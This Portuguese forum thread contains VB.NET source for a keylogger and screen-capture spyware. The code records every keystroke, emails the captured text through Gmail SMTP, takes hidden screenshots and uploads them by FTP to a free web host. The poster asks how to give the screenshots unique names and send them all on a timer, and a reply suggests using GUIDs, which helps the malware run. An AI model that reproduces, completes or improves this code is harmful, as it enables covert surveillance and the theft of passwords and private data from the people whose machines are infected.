Stereo 0 Denunciar post Postado Junho 24, 2015 Bom dia pessoal, gostaria de salvar várias imagens com o mesmo nome, exemplo: Foto1,Foto2,Foto3. E também gostaria de envia-las por ftp com um timer, mas que envie todas. Código todo: Imports System.Net.Mail Imports System.NetImports System.IOImports System.ThreadingImports System.ManagementPublic Class Form1Dim result As IntegerPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16Private Declare Function GetAsyncKeyState Lib "user32" (ByVal tecla As Keys) As KeysPrivate Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.TickSystem.IO.Directory.CreateDirectory("C:\WindowsConfig")For i = 1 To 255result = 0result = GetAsyncKeyState(i)If result = -32767 ThenRichTextBox1.Text = RichTextBox1.Text + Chr(i)End IfNext iEnd SubPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickTimer1.Start()End SubPrivate Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickTimer1.Stop()End SubPrivate Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.TickDim MyMailMessage As New MailMessage()MyMailMessage.From = New MailAddress("EMAIL")MyMailMessage.To.Add("EMAIL")MyMailMessage.Subject = ("Informações Capturadas")MyMailMessage.Body = "Olá, segue abaixo as informações capturadas no computador em que foi instalado o server: " + RichTextBox1.TextDim SMTPServer As New SmtpClient("smtp.gmail.com")SMTPServer.Port = 587SMTPServer.Credentials = New System.Net.NetworkCredential("EMAIL", "SENHA")SMTPServer.EnableSsl = TrueSMTPServer.Send(MyMailMessage)RichTextBox1.Text = ("")End SubPrivate Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChangedEnd SubPrivate Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.ClickEnd SubPrivate Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.LoadEnd SubPrivate Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.ClickDim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create("ftp://a9964736@server9.000webhost.com/img/form.jpg")ftpRequest.Credentials = New Net.NetworkCredential("a9964736", "SENHA")ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFileDim ficheiro() As Byte = System.IO.File.ReadAllBytes("C:\Folder\form.jpg")Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()ftpStream.Write(ficheiro, 0, ficheiro.Length)ftpStream.Close()ftpStream.Dispose()End SubPrivate Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.ClickDim k As Longk = Shell("c:\windows\system32\taskmgr.exe", vbHide)SendKeys.SendWait("^({PRTSC})")My.Computer.Clipboard.GetImage.Save("C:\Folder\form.jpg")End SubFunction sendFile2FTP(ByVal fileNameLocal As String, ByVal fileNameServer As String, ByVal user As String, ByVal password As String) As StringDim ftpRequest As Net.FtpWebRequest = Net.WebRequest.Create(user + "@" + fileNameServer)ftpRequest.Credentials = New Net.NetworkCredential(user, password)ftpRequest.Method = Net.WebRequestMethods.Ftp.UploadFileTryDim ficheiro() As Byte = System.IO.File.ReadAllBytes(fileNameLocal)Dim ftpStream As System.IO.Stream = ftpRequest.GetRequestStream()ftpStream.Write(ficheiro, 0, ficheiro.Length)ftpStream.Close()ftpStream.Dispose()Return "True"Catch ex As ExceptionReturn ex.MessageEnd TryEnd FunctionPrivate Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.TickEnd SubEnd Class Compartilhar este post Link para o post Compartilhar em outros sites
KhaosDoctor 242 Denunciar post Postado Junho 25, 2015 Certo, e qual é o problema? Compartilhar este post Link para o post Compartilhar em outros sites
Stereo 0 Denunciar post Postado Junho 25, 2015 O problema é que ele salva sempre com o mesmo nome, então ao invés. de adicionar ele substitui a imagem. Compartilhar este post Link para o post Compartilhar em outros sites
KhaosDoctor 242 Denunciar post Postado Junho 26, 2015 Você teria um nome específico? Porque você pode gerar uma GUID e concatenar, ai nunca vai repetir Compartilhar este post Link para o post Compartilhar em outros sites